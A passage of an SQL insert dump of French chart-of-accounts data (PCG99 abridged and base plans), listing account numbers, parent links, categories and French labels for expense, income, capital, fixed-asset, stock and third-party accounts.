17:28:15','PCG99-ABREGE','FINAN','590',1405,'Provisions pour dépréciation des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(65,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','60',1406,'Achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(66,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','603',65,'Variations des stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(67,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','61',1406,'Services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(68,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','62',1406,'Autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(69,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','63',1406,'Impôts, taxes et versements assimiles',NULL,0,NULL,NULL,1,0,NULL,NULL),(70,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','641',1406,'Rémunérations du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(71,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','644',1406,'Rémunération du travail de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(72,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','645',1406,'Charges de sécurité sociale et de prévoyance',NULL,0,NULL,NULL,1,0,NULL,NULL),(73,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','646',1406,'Cotisations sociales personnelles de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(74,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','65',1406,'Autres charges de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(75,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','66',1406,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(76,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','67',1406,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(77,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','681',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(78,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','686',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(79,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','687',1406,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(80,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','691',1406,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(81,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','695',1406,'Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(82,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','697',1406,'Imposition forfaitaire annuelle des sociétés',NULL,0,NULL,NULL,1,0,NULL,NULL),(83,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','699',1406,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(84,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','701',1407,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(85,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','706',1407,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(86,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','707',1407,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(87,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','708',1407,'Produits des activités annexes',NULL,0,NULL,NULL,1,0,NULL,NULL),(88,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','709',1407,'Rabais, remises et ristournes accordés par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(89,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','713',1407,'Variation des stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(90,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','72',1407,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(91,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','73',1407,'Produits nets partiels sur opérations à long terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(92,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','74',1407,'Subventions d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(93,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','75',1407,'Autres produits de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(94,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','753',93,'Jetons de présence et rémunérations d\'administrateurs, gérants,...',NULL,0,NULL,NULL,1,0,NULL,NULL),(95,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','754',93,'Ristournes perçues des coopératives',NULL,0,NULL,NULL,1,0,NULL,NULL),(96,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','755',93,'Quotes-parts de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(97,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','76',1407,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(98,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','77',1407,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(99,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','781',1407,'Reprises sur amortissements et provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(100,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','786',1407,'Reprises sur provisions pour risques',NULL,0,NULL,NULL,1,0,NULL,NULL),(101,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','787',1407,'Reprises sur provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(102,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','79',1407,'Transferts de charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(103,1,NULL,'2017-02-20 10:49:11','PCG99-BASE','CAPIT','10',1501,'Capital et réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(104,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','101',103,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(105,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','104',103,'Primes liées au capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(106,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','105',103,'Ecarts de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(107,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','106',103,'Réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(108,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','107',103,'Ecart d\'equivalence',NULL,0,NULL,NULL,1,0,NULL,NULL),(109,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','108',103,'Compte de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(110,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','109',103,'Actionnaires : capital souscrit - non appelé',NULL,0,NULL,NULL,1,0,NULL,NULL),(111,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','11',1501,'Report à nouveau (solde créditeur ou débiteur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(112,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','110',111,'Report à nouveau (solde créditeur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(113,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','119',111,'Report à nouveau (solde débiteur)',NULL,0,NULL,NULL,1,0,NULL,NULL),(114,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','12',1501,'Résultat de l\'exercice (bénéfice ou perte)',NULL,0,NULL,NULL,1,0,NULL,NULL),(115,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','120',114,'Résultat de l\'exercice (bénéfice)',NULL,0,NULL,NULL,1,0,NULL,NULL),(116,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','129',114,'Résultat de l\'exercice (perte)',NULL,0,NULL,NULL,1,0,NULL,NULL),(117,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','13',1501,'Subventions d\'investissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(118,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','131',117,'Subventions d\'équipement',NULL,0,NULL,NULL,1,0,NULL,NULL),(119,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','138',117,'Autres subventions d\'investissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(120,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','139',117,'Subventions d\'investissement inscrites au compte de résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(121,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','14',1501,'Provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(122,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','142',121,'Provisions réglementées relatives aux immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(123,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','143',121,'Provisions réglementées relatives aux stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(124,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','144',121,'Provisions réglementées relatives aux autres éléments de l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(125,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','145',121,'Amortissements dérogatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(126,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','146',121,'Provision spéciale de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(127,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','147',121,'Plus-values réinvesties',NULL,0,NULL,NULL,1,0,NULL,NULL),(128,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','148',121,'Autres provisions réglementées',NULL,0,NULL,NULL,1,0,NULL,NULL),(129,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','15',1501,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(130,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','151',129,'Provisions pour risques',NULL,0,NULL,NULL,1,0,NULL,NULL),(131,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','153',129,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(132,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','154',129,'Provisions pour restructurations',NULL,0,NULL,NULL,1,0,NULL,NULL),(133,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','155',129,'Provisions pour impôts',NULL,0,NULL,NULL,1,0,NULL,NULL),(134,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','156',129,'Provisions pour renouvellement des immobilisations (entreprises concessionnaires)',NULL,0,NULL,NULL,1,0,NULL,NULL),(135,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','157',129,'Provisions pour charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(136,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','158',129,'Autres provisions pour charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(137,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','16',1501,'Emprunts et dettes assimilees',NULL,0,NULL,NULL,1,0,NULL,NULL),(138,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','161',137,'Emprunts obligataires convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(139,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','163',137,'Autres emprunts obligataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(140,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','164',137,'Emprunts auprès des établissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(141,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','165',137,'Dépôts et cautionnements reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(142,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','166',137,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(143,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','167',137,'Emprunts et dettes assortis de conditions particulières',NULL,0,NULL,NULL,1,0,NULL,NULL),(144,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','168',137,'Autres emprunts et dettes assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(145,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','169',137,'Primes de remboursement des obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(146,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','17',1501,'Dettes rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(147,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','171',146,'Dettes rattachées à des participations (groupe)',NULL,0,NULL,NULL,1,0,NULL,NULL),(148,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','174',146,'Dettes rattachées à des participations (hors groupe)',NULL,0,NULL,NULL,1,0,NULL,NULL),(149,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','178',146,'Dettes rattachées à des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(150,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','18',1501,'Comptes de liaison des établissements et sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(151,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','181',150,'Comptes de liaison des établissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(152,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','186',150,'Biens et prestations de services échangés entre établissements (charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(153,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','187',150,'Biens et prestations de services échangés entre établissements (produits)',NULL,0,NULL,NULL,1,0,NULL,NULL),(154,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','188',150,'Comptes de liaison des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(155,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','20',1502,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(156,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','201',155,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(157,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','203',155,'Frais de recherche et de développement',NULL,0,NULL,NULL,1,0,NULL,NULL),(158,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','205',155,'Concessions et droits similaires, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(159,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','206',155,'Droit au bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(160,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','207',155,'Fonds commercial',NULL,0,NULL,NULL,1,0,NULL,NULL),(161,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','208',155,'Autres immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(162,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','21',1502,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(163,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','211',162,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(164,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','212',162,'Agencements et aménagements de terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(165,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','213',162,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(166,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','214',162,'Constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(167,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','215',162,'Installations techniques, matériels et outillage industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(168,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','218',162,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(169,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','22',1502,'Immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(170,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','23',1502,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(171,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','231',170,'Immobilisations corporelles en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(172,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','232',170,'Immobilisations incorporelles en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(173,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','237',170,'Avances et acomptes versés sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(174,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','238',170,'Avances et acomptes versés sur commandes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(175,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','25',1502,'Parts dans des entreprises liées et créances sur des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(176,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','26',1502,'Participations et créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(177,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','261',176,'Titres de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(178,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','266',176,'Autres formes de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(179,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','267',176,'Créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(180,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','268',176,'Créances rattachées à des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(181,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','269',176,'Versements restant à effectuer sur titres de participation non libérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(182,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','27',1502,'Autres immobilisations financieres',NULL,0,NULL,NULL,1,0,NULL,NULL),(183,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','271',183,'Titres immobilisés autres que les titres immobilisés de l\'activité de portefeuille (droit de propriété)',NULL,0,NULL,NULL,1,0,NULL,NULL),(184,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','272',183,'Titres immobilisés (droit de créance)',NULL,0,NULL,NULL,1,0,NULL,NULL),(185,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','273',183,'Titres immobilisés de l\'activité de portefeuille',NULL,0,NULL,NULL,1,0,NULL,NULL),(186,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','274',183,'Prêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(187,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','275',183,'Dépôts et cautionnements versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(188,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','276',183,'Autres créances immobilisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(189,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','277',183,'(Actions propres ou parts propres)',NULL,0,NULL,NULL,1,0,NULL,NULL),(190,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','279',183,'Versements restant à effectuer sur titres immobilisés non libérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(191,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','28',1502,'Amortissements des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(192,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','280',191,'Amortissements des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(193,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','281',191,'Amortissements des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(194,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','282',191,'Amortissements des immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(195,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','29',1502,'Dépréciations des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(196,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','290',195,'Dépréciations des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(197,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','291',195,'Dépréciations des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(198,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','292',195,'Dépréciations des immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(199,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','293',195,'Dépréciations des immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(200,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','296',195,'Provisions pour dépréciation des participations et créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(201,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','297',195,'Provisions pour dépréciation des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(202,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','31',1503,'Matières premières (et fournitures)',NULL,0,NULL,NULL,1,0,NULL,NULL),(203,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','311',202,'Matières (ou groupe) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(204,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','312',202,'Matières (ou groupe) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(205,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','317',202,'Fournitures A, B, C,',NULL,0,NULL,NULL,1,0,NULL,NULL),(206,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','32',1503,'Autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(207,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','321',206,'Matières consommables',NULL,0,NULL,NULL,1,0,NULL,NULL),(208,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','322',206,'Fournitures consommables',NULL,0,NULL,NULL,1,0,NULL,NULL),(209,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','326',206,'Emballages',NULL,0,NULL,NULL,1,0,NULL,NULL),(210,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','33',1503,'En-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(211,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','331',210,'Produits en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(212,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','335',210,'Travaux en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(213,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','34',1503,'En-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(214,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','341',213,'Etudes en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(215,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','345',213,'Prestations de services en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(216,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','35',1503,'Stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(217,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','351',216,'Produits intermédiaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(218,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','355',216,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(219,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','358',216,'Produits résiduels (ou matières de récupération)',NULL,0,NULL,NULL,1,0,NULL,NULL),(220,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','37',1503,'Stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(221,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','371',220,'Marchandises (ou groupe) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(222,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','372',220,'Marchandises (ou groupe) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(223,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','39',1503,'Provisions pour dépréciation des stocks et en-cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(224,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','391',223,'Provisions pour dépréciation des matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(225,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','392',223,'Provisions pour dépréciation des autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(226,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','393',223,'Provisions pour dépréciation des en-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(227,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','394',223,'Provisions pour dépréciation des en-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(228,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','395',223,'Provisions pour dépréciation des stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(229,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','397',223,'Provisions pour dépréciation des stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(230,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','40',1504,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(231,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','400',230,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(232,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','401',230,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(233,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','403',230,'Fournisseurs - Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(234,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','404',230,'Fournisseurs d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(235,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','405',230,'Fournisseurs d\'immobilisations - Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(236,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','408',230,'Fournisseurs - Factures non parvenues',NULL,0,NULL,NULL,1,0,NULL,NULL),(237,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','409',230,'Fournisseurs débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(238,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','41',1504,'Clients et comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(239,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','410',238,'Clients et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(240,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','411',238,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(241,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','413',238,'Clients - Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(242,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','416',238,'Clients douteux ou litigieux',NULL,0,NULL,NULL,1,0,NULL,NULL),(243,1,NULL,'2018-01-22 